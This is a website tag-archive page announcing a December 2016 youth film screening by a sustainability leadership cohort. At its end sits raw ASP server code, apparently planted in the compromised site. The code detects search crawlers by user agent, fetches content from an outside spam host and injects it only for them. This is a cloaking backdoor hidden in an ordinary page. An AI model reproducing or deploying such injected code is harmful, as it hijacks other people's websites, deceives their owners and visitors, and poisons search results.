Tag Archive: Oskēh-Mamāceqtāwak Kēketōwak

Oct 20

Save the Date: Dec. 7, 2016-Oskēh-Mamāceqtāwak Kēketōwak

Oskēh-Mamāceqtāwak Kēketōwak: Youth Speak  This summer the Sustainability Leadership Cohort produced, directed, edited, and acted in their very first fiction film, “Kāēyas Mesek Oskēken”. The SLC and other youth filmmakers will share their film projects and experience in the program with their families and the community. There will be a question and answer session at …

Continue reading »

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2016/10/save-the-date-dec-7-2016-oskeh-mamaceqtawak-keketowak/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>